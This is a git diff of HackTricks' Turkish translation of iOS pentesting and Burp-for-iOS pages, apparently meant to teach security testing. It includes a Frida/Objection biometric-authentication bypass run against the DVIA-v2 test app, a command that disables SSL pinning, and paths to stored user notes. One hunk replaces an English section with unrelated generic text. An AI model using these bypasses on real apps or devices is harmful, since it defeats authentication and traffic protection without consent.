-Objective-C is the primary programming language used for iOS app development. When performing iOS pentesting, it is essential to understand Objective-C code to identify security vulnerabilities effectively.
-
-### Tools for Analyzing Objective-C Code
-
-There are several tools available for analyzing Objective-C code during iOS pentesting:
-
-1. **Hopper Disassembler**: A reverse engineering tool that can be used to disassemble, decompile, and debug applications.
-
-2. **class-dump**: A command-line utility that generates Objective-C headers from Mach-O files.
-
-3. **otool**: A command-line tool for examining the contents of Mach-O files.
-
-4. **IDA Pro**: A powerful disassembler and debugger that supports Objective-C.
-
-### Common Vulnerabilities in Objective-C Code
-
-Some common security vulnerabilities found in Objective-C code include:
-
-- **Insecure Data Storage**: Storing sensitive data in an insecure manner.
-- **Input Validation Issues**: Failing to properly validate user input.
-- **Insecure Communication**: Transmitting data over insecure channels.
-- **Memory Management Errors**: Improper handling of memory can lead to vulnerabilities like buffer overflows.
-
-By using the mentioned tools and understanding common vulnerabilities, security professionals can effectively identify and mitigate security risks in Objective-C code during iOS pentesting.
-
-{% endtab %}
+{% tab title="Objective-C" %}Bu bölümde, iOS uygulamalarını hedefleyen temel güvenlik testleri ve saldırı teknikleri hakkında bilgi bulacaksınız. Bu testler, uygulamanın güvenlik açıklarını tespit etmek ve gidermek için kullanılır. iOS uygulamalarınızı güvende tutmak için bu teknikleri anlamanız önemlidir.{% endtab %}
```objectivec
// 1. define query
NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
@@ -952,7 +930,7 @@ NSLog(@"Something went wrong");
```
### Tespit
-Uygulamadaki çerçevelerin kullanımı, uygulama ikili dosyasının paylaşılan dinamik kütüphaneler listesini analiz edilerek de tespit edilebilir. Bunun için `otool` kullanılabilir:
+Uygulamadaki çerçevelerin kullanımı, uygulama ikili dosyasının paylaşılan dinamik kütüphaneler listesini analiz ederek tespit edilebilir. Bunun için `otool` kullanılabilir:
```bash
$ otool -L .app/
```
@@ -967,7 +945,7 @@ Eğer `Security.framework` kullanılıyorsa, sadece ikinci olan gösterilecektir
#### **Objection**
-**Objection Biyometrik Atlatma** aracılığıyla, [bu GitHub sayfasında](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) bulunan bir teknik, **LocalAuthentication** mekanizmasını aşmak için mevcuttur. Bu yaklaşımın özü, `evaluatePolicy` fonksiyonunu manipüle etmek için **Frida**'yı kullanmaktır, böylece gerçek kimlik doğrulama başarısından bağımsız olarak sürekli olarak `True` sonucu vermesini sağlar. Bu, hatalı biyometrik kimlik doğrulama süreçlerini atlamak için özellikle yararlıdır.
+**Objection Biyometrik Atlatma** aracılığıyla, [bu GitHub sayfasında](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) bulunan bir teknik sayesinde **LocalAuthentication** mekanizmasını atlatmak mümkündür. Bu yaklaşımın özü, `evaluatePolicy` fonksiyonunu manipüle etmek için **Frida**'yı kullanmaktır, böylece gerçek kimlik doğrulama başarısından bağımsız olarak sürekli olarak `True` sonucu vermesini sağlar. Bu, hatalı biyometrik kimlik doğrulama süreçlerini atlamak için özellikle yararlıdır.
Bu atlatmayı etkinleştirmek için aşağıdaki komut kullanılır:
```bash
@@ -982,7 +960,7 @@ Bu komut, Objection'ın bir görev kaydettiği bir sıra başlatır ve `evaluate
#### Frida
-[DVIA-v2 uygulaması](https://github.com/prateek147/DVIA-v2)'ndan **`evaluatePolicy`** kullanımına bir örnek:
+**`evaluatePolicy`**'nin bir kullanım örneği [DVIA-v2 uygulamasından](https://github.com/prateek147/DVIA-v2):
```swift
+(void)authenticateWithTouchID {
LAContext *myContext = [[LAContext alloc] init];
@@ -1010,7 +988,7 @@ dispatch_async(dispatch_get_main_queue(), ^{
}
}
```
-**Yerel Kimlik Doğrulaması**nın **atlatılması** için bir Frida betiği yazılır. Bu betik, **evaluatePolicy** kontrolünü hedef alarak, geri aramasını onaylamak için **success=1** değerini döndürmesini sağlar. Geri aramanın davranışını değiştirerek, kimlik doğrulama kontrolü etkili bir şekilde atlatılır.
+**Yerel Kimlik Doğrulaması**nın **atlatılması** için bir Frida betiği yazılır. Bu betik, **evaluatePolicy** kontrolünü hedef alarak, geri aramasını onaylamak için onu engeller ve **success=1** döndüğünden emin olur. Geri aramanın davranışını değiştirerek, kimlik doğrulama kontrolü etkili bir şekilde atlatılır.
Aşağıdaki betik, **evaluatePolicy** yönteminin sonucunu değiştirmek için enjekte edilir. Geri aramanın sonucunu her zaman başarı olarak gösterir.
```swift
@@ -1034,7 +1012,7 @@ return result;
console.log("Objective-C Runtime is not available!");
}
```
-Frida betiği enjekte etmek ve biyometrik kimlik doğrulamasını atlamak için aşağıdaki komut kullanılır:
+Frida betiği enjekte etmek ve biyometrik kimlik doğrulamayı atlamak için aşağıdaki komut kullanılır:
```bash
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js
```
@@ -1094,46 +1072,48 @@ Bu tür sorunları kontrol etmek için **Burp** gibi bir proxy kullanabilirsiniz
### Ana Bilgisayar Adı Kontrolü
TLS sertifikasını doğrularken karşılaşılan yaygın bir sorun, sertifikanın bir **güvenilir CA** tarafından imzalandığını kontrol etmek, ancak sertifikanın **erişilen ana bilgisayar adı** olup olmadığını kontrol etmemektir.\
-Bu sorunu Burp kullanarak kontrol etmek için, iPhone'da Burp CA'ya güven verdikten sonra, Burp ile farklı bir ana bilgisayar adı için yeni bir sertifika **oluşturabilir ve kullanabilirsiniz**. Uygulama hala çalışıyorsa, bir zafiyet olabilir.
+Bu sorunu Burp kullanarak kontrol etmek için, iPhone'da Burp CA'ya güven verdikten sonra, Burp ile **farklı bir ana bilgisayar adı için yeni bir sertifika oluşturabilir** ve kullanabilirsiniz. Uygulama hala çalışıyorsa, bir zafiyet olabilir.
### Sertifika Pinleme
-Bir uygulama SSL Pinning'i doğru bir şekilde kullanıyorsa, uygulama yalnızca beklenen sertifika olduğunda çalışır. Bir uygulamayı test ederken **bu bir sorun olabilir çünkü Burp kendi sertifikasını sunar.**\
-Bu korumayı bir jailbroken cihazda atlamak için, uygulamayı [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) veya [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device) yükleyebilirsiniz.
+Bir uygulama SSL Pinning'i doğru bir şekilde kullanıyorsa, uygulama yalnızca beklenen sertifika varsa çalışacaktır. Bir uygulamayı test ederken **bu bir sorun olabilir çünkü Burp kendi sertifikasını sunacaktır.**\
+Bu korumayı bir jailbroken cihazda atlatmak için uygulamayı [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) veya [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device) yükleyebilirsiniz.
-Ayrıca **objection**'ın `ios sslpinning disable` komutunu kullanabilirsiniz.
+Ayrıca **objection'ın** `ios sslpinning disable` komutunu da kullanabilirsiniz.
## Çeşitli
* **`/System/Library`** dizininde, sistem uygulamaları tarafından kullanılan telefon üzerinde yüklü çerçeveleri bulabilirsiniz.
-* Kullanıcı tarafından App Store'dan yüklenen uygulamalar **`/User/Applications`** dizininde bulunur.
+* Kullanıcı tarafından App Store'dan yüklenen uygulamalar **`/User/Applications`** içinde bulunur.
* Ve **`/User/Library`** kullanıcı düzeyindeki uygulamalar tarafından kaydedilen verileri içerir.
-* Uygulama içinde kaydedilen notları okumak için **`/User/Library/Notes/notes.sqlite`**'e erişebilirsiniz.
+* Uygulama içinde kaydedilen notları okumak için **`/User/Library/Notes/notes.sqlite`** dosyasına erişebilirsiniz.
* Yüklenmiş bir uygulamanın klasörü içinde (**`/User/Applications//`**) bazı ilginç dosyalar bulabilirsiniz:
* **`iTunesArtwork`**: Uygulama tarafından kullanılan simge
* **`iTunesMetadata.plist`**: App Store'da kullanılan uygulama bilgileri
- * **`/Library/*`**: Tercihleri ve önbelleği içerir. **`/Library/Cache/Snapshots/*`** içinde, uygulamanın arka plana gönderilmeden önce yapılan anlık görüntüleri bulabilirsiniz.
+ * **`/Library/*`**: Tercihleri ve önbelleği içerir. **`/Library/Cache/Snapshots/*`** içinde, uygulamanın arka planda gönderilmeden önce yapılan anlık görüntüsünü bulabilirsiniz.
### Sıcak Yama/Zorunlu Güncelleme
-Geliştiriciler, uygulamalarının tüm yüklemelerini **anında uzaktan yamalayabilir** ve uygulamayı App Store'a yeniden gönderip onaylanmasını beklemek zorunda kalmazlar.\
+Geliştiriciler, uygulamalarının tüm yüklemelerine anında **yama uygulayabilirler** ve uygulamayı App Store'a yeniden gönderip onaylanmasını beklemek zorunda kalmazlar.\
Bu amaçla genellikle [**JSPatch**](https://github.com/bang590/JSPatch) gibi araçlar kullanılır. Ancak [Siren](https://github.com/ArtSabintsev/Siren) ve [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker) gibi diğer seçenekler de mevcuttur.\
**Bu, kötü niyetli üçüncü taraf SDK'ları tarafından kötüye kullanılabilecek tehlikeli bir mekanizmadır, bu nedenle otomatik güncelleme için hangi yöntemin kullanıldığını kontrol etmeniz ve test etmeniz önerilir.** Bu amaçla uygulamanın önceki bir sürümünü indirmeyi deneyebilirsiniz.
### Üçüncü Taraflar
-**3. taraf SDK'ları** ile önemli bir zorluk, işlevsellikleri üzerinde **ayrıntılı kontrol eksikliğidir**. Geliştiriciler, ya SDK'yı entegre eder ve potansiyel güvenlik açıkları ve gizlilik endişeleri de dahil olmak üzere tüm özelliklerini kabul eder ya da tamamen faydalarından vazgeçer. Genellikle, geliştiriciler bu SDK'ların içindeki güvenlik açıklarını kendileri yamayamazlar. Ayrıca, SDK'lar topluluk içinde güven kazandıkça, bazıları kötü amaçlı yazılım içerebilir.
+**3. taraf SDK'lar** ile önemli bir zorluk, işlevselliklerinin üzerinde **ayrıntılı kontrol eksikliğidir**. Geliştiriciler, ya SDK'yı entegre eder ve potansiyel güvenlik açıkları ve gizlilik endişeleri de dahil olmak üzere tüm özelliklerini kabul eder ya da tamamen faydalarından vazgeçer. Genellikle, geliştiriciler bu SDK'ların içindeki güvenlik açıklarını kendileri yamayamazlar. Ayrıca, SDK'lar topluluk içinde güven kazandıkça, bazıları kötü amaçlı yazılım içerebilir.
Üçüncü taraf SDK'ların sağladığı hizmetler arasında kullanıcı davranışlarını izleme, reklam gösterimi veya kullanıcı deneyimi iyileştirmeleri bulunabilir. Ancak, bu, geliştiricilerin bu kütüphaneler tarafından yürütülen kodun tam olarak farkında olmamalarına ve potansiyel gizlilik ve güvenlik risklerine yol açabilir. Üçüncü taraf hizmetlerle paylaşılan bilgilerin sınırlı olması ve hassas verilerin açığa çıkarılmamasının sağlanması önemlidir.
-Uygulamanın kullandığı kütüphaneleri belirlemek için **`otool`** komutu kullanılabilir. Bu araç, uygulama ve kullandığı her paylaşılan kütüphane üzerinde çalıştırılmalıdır, böylece ek kütüphaneler keşfedilebilir.
+Üçüncü taraf hizmetlerin uygulanması genellikle iki şekilde gerçekleşir: bağımsız bir kütüphane veya tam bir SDK. Bu hizmetlerle paylaşılan verilerin **anonimleştirilmesi**, Kişisel Tanımlanabilir Bilgilerin (PII) ifşasını önlemek için gereklidir.
+
+Uygulamanın kullandığı kütüphaneleri belirlemek için **`otool`** komutu kullanılabilir. Bu araç, uygulama ve kullandığı her paylaşılan kütüphane üzerinde çalıştırılmalıdır, ek kütüphaneleri keşfetmek için.
```bash
otool -L
```
## **Referanslar ve Daha Fazla Kaynak**
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering)
-* [iOS & Mobil Uygulama Pentesting - INE](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting)
+* [iOS ve Mobil Uygulama Pentesting - INE](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting)
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0057/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0057/)
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0058/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0058/)
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0059/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0059/)
@@ -1148,17 +1128,17 @@ otool -L
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064](https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064)
* [https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc](https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc)
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054)
-* [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) IOS ücretsiz kurs([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/))
+* [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) IOS ücretsiz kursu([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/))
* [https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577](https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577)
* [https://www.slideshare.net/RyanISI/ios-appsecurityminicourse](https://www.slideshare.net/RyanISI/ios-appsecurityminicourse)
* [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA)
* [https://github.com/prateek147/DVIA-v2](https://github.com/prateek147/DVIA-v2)
* [https://github.com/OWASP/MSTG-Hacking-Playground%20](https://github.com/OWASP/MSTG-Hacking-Playground)
-* OWASP iGoat [_https://github.com/OWASP/igoat_](https://github.com/OWASP/igoat) <<< Objective-C versiyonu [_https://github.com/OWASP/iGoat-Swift_](https://github.com/OWASP/iGoat-Swift) <<< Swift versiyonu
+* OWASP iGoat [_https://github.com/OWASP/igoat_](https://github.com/OWASP/igoat) <<< Objective-C sürümü [_https://github.com/OWASP/iGoat-Swift_](https://github.com/OWASP/iGoat-Swift) <<< Swift sürümü
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
* [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
-
+
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
@@ -1172,10 +1152,10 @@ Bugün Erişim Alın:
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com)
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
-* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
+* [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
+* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
+* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
diff --git a/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md b/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md
index 2b09b92ca..29cc0d136 100644
--- a/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md
+++ b/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md
@@ -2,19 +2,19 @@
-AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin htARTE (HackTricks AWS Red Team Expert)!
+AWS hacklemeyi sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Red Team Expert) ile!
-HackTricks'i desteklemenin diğer yolları:
+HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
-* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**Resmi PEASS & HackTricks ürünlerine**](https://peass.creator-spring.com) sahip olun
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
-* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
+* **Hacking püf noktalarınızı göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
-
+
\
Dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\
@@ -22,27 +22,27 @@ Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-## iOS Cihazlarında Burp Sertifikasının Yüklenmesi
+## iOS Cihazlar İçin Burp Sertifikası Yükleme
-iOS cihazlarda güvenli web trafiği analizi ve SSL pinning için, Burp Suite ya **Burp Mobile Assistant** aracılığıyla ya da manuel yapılandırma ile kullanılabilir. İşte her iki yöntem için özetlenmiş bir kılavuz:
+Güvenli web trafiği analizi ve SSL pinning için iOS cihazlarda, Burp Suite ya **Burp Mobile Assistant** aracılığıyla ya da manuel yapılandırma ile kullanılabilir. İşte her iki yöntem için özetlenmiş bir kılavuz:
### Burp Mobile Assistant ile Otomatik Yükleme
-**Burp Mobile Assistant**, Burp Sertifikası'nın yüklenmesi, proxy yapılandırması ve SSL Pinning işlemini basitleştirir. Detaylı rehberliği [PortSwigger'ın resmi belgelerinde](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing) bulabilirsiniz.
+**Burp Mobile Assistant**, Burp Sertifikası, proxy yapılandırması ve SSL Pinning'in kurulum sürecini basitleştirir. Detaylı rehberlik için [PortSwigger'ın resmi belgelerine](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing) bakabilirsiniz.
### Manuel Yükleme Adımları
1. **Proxy Yapılandırması:** İlk olarak, iPhone'un Wi-Fi ayarları altında Burp'u proxy olarak ayarlayarak başlayın.
2. **Sertifika İndirme:** Cihazınızın tarayıcısında sertifikayı indirmek için `http://burp` adresine gidin.
-3. **Sertifika Yüklemesi:** İndirilen profili **Ayarlar** > **Genel** > **VPN ve Cihaz Yönetimi** altından yükleyin, ardından **Sertifika Güven Ayarları** altında PortSwigger CA için güveni etkinleştirin.
+3. **Sertifika Yükleme:** İndirilen profili **Ayarlar** > **Genel** > **VPN ve Cihaz Yönetimi** altından yükleyin, ardından **Sertifika Güven Ayarları** altında PortSwigger CA için güveni etkinleştirin.
### İnterception Proxy Yapılandırma
-Bu yapılandırma, iOS cihazı ile internet arasındaki trafiğin Burp üzerinden analiz edilmesini sağlar, istemci-istemci trafiğını destekleyen bir Wi-Fi ağı gerektirir. Mevcut değilse, usbmuxd aracılığıyla bir USB bağlantısı alternatif olarak hizmet verebilir. PortSwigger'ın eğitimleri [cihaz yapılandırması](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) ve [sertifika yüklemesi](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device) hakkında detaylı talimatlar sağlar.
+Bu yapılandırma, iOS cihazı ile internet arasındaki trafiği Burp üzerinden analiz etmeyi sağlar, istemci-istemci trafiğini destekleyen bir Wi-Fi ağı gerektirir. Mevcut değilse, usbmuxd aracılığıyla USB bağlantısı alternatif olarak hizmet verebilir. PortSwigger'ın eğitimleri, [cihaz yapılandırması](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) ve [sertifika yükleme](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device) konusunda detaylı talimatlar sağlar.
-### Jailbreak Yapılmış Cihazlar için Gelişmiş Yapılandırma
+### Jailbreak Yapılmış Cihazlar İçin Gelişmiş Yapılandırma
-Jailbreak yapılmış cihazlara sahip kullanıcılar için, SSH üzerinden USB (via **iproxy**) doğrudan trafiği Burp üzerinden yönlendirmek için bir yöntem sunar:
+Jailbreak yapılmış cihazlara sahip kullanıcılar için, SSH üzerinden USB (via **iproxy**) doğrudan trafiği Burp üzerinden yönlendirmenin bir yöntemi sunar:
1. **SSH Bağlantısı Kurma:** SSH'yi localhost'a yönlendirmek için iproxy kullanarak SSH bağlantısı kurun, böylece iOS cihazından Burp çalıştıran bilgisayara bağlantı sağlanır.
@@ -58,7 +58,7 @@ ssh -R 8080:localhost:8080 root@localhost -p 2222
### Tam Ağ İzleme/Sniffing
-**Wireshark** kullanılarak HTTP olmayan cihaz trafiğinin izlenmesi etkili bir şekilde gerçekleştirilebilir, tüm veri trafiğini yakalayabilen bir araçtır. iOS cihazlar için, gerçek zamanlı trafik izleme, bir Uzak Sanal Arayüz oluşturularak kolaylaştırılır, bu süreç [bu Stack Overflow gönderisinde](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819) detaylı olarak açıklanmıştır. Başlamadan önce, macOS sistemine **Wireshark**'ın yüklenmesi gerekmektedir.
+**Wireshark** kullanılarak HTTP olmayan cihaz trafiğinin izlenmesi etkin bir şekilde gerçekleştirilebilir, tüm veri trafiğini yakalayabilen bir araçtır. iOS cihazlar için, gerçek zamanlı trafiği izlemek için bir Uzak Sanal Arayüz oluşturularak kolaylaştırılır, bu süreç [bu Stack Overflow gönderisinde](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819) detaylı olarak açıklanmıştır. Başlamadan önce, bir macOS sisteminde **Wireshark**'ın yüklenmesi gerekmektedir.
Prosedür birkaç temel adımı içerir:
@@ -80,8 +80,8 @@ _Proxy_ --> _Seçenekler_ --> _CA sertifikasını dışa aktar_ --> _DER format
![](<../../.gitbook/assets/image (459).png>)
* Sertifikayı Emülatöre **sürükleyip bırakın**
-* **Emülatörde**, _Ayarlar_ --> _Genel_ --> _Profil_ --> _PortSwigger CA_, ve **sertifikayı doğrulayın**
-* **Emülatörde**, _Ayarlar_ --> _Genel_ --> _Hakkında_ --> _Sertifika Güven Ayarları_, ve **PortSwigger CA'yı etkinleştirin**
+* **Emülatör içinde** _Ayarlar_ --> _Genel_ --> _Profil_ --> _PortSwigger CA_, ve **sertifikayı doğrulayın**
+* **Emülatör içinde** _Ayarlar_ --> _Genel_ --> _Hakkında_ --> _Sertifika Güven Ayarları_, ve **PortSwigger CA'yı etkinleştirin**
![](<../../.gitbook/assets/image (460).png>)
@@ -93,34 +93,34 @@ _Proxy_ --> _Seçenekler_ --> _CA sertifikasını dışa aktar_ --> _DER format
### MacOS Proxy Yapılandırması
-Burp'u proxy olarak yapılandırma adımları:
+Proxy olarak Burp'u yapılandırma adımları:
-* _Sistem Tercihleri_ --> _Ağ_ --> _Gelişmiş_ gidin
-* _Proxyler_ sekmesinde _Web Proxy (HTTP)_ ve _Güvenli Web Proxy (HTTPS)_ işaretleyin
+* _Sistem Tercihleri_ --> _Ağ_ --> _Gelişmiş_'e gidin
+* _Vekiller_ sekmesinde _Web Vekili (HTTP)_ ve _Güvenli Web Vekili (HTTPS)_ işaretleyin
* Her iki seçenekte de _127.0.0.1:8080_ şeklinde yapılandırın
![](<../../.gitbook/assets/image (461).png>)
-* _**Tamam**_ düğmesine tıklayın ve _**Uygula**_ düğmesine basın
+* _**Tamam**_ düğmesine tıklayın ve _**Uygula**_'ya basın
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturmayı ve otomatikleştirmeyi kolayca yapın.\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturabilir ve **otomatikleştirebilirsiniz**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olacak şekilde AWS hackleme öğrenin!
+Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'i desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerine**](https://peass.creator-spring.com) göz atın
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
+* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
-* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
+* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek destekleyin.
diff --git a/network-services-pentesting/1099-pentesting-java-rmi.md b/network-services-pentesting/1099-pentesting-java-rmi.md
index a21970d03..af3a2628a 100644
--- a/network-services-pentesting/1099-pentesting-java-rmi.md
+++ b/network-services-pentesting/1099-pentesting-java-rmi.md
@@ -2,29 +2,29 @@
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)!
+AWS hacklemeyi sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
-* [**Resmi PEASS & HackTricks ürünlerini keşfedin**](https://peass.creator-spring.com)
-* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**] (https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
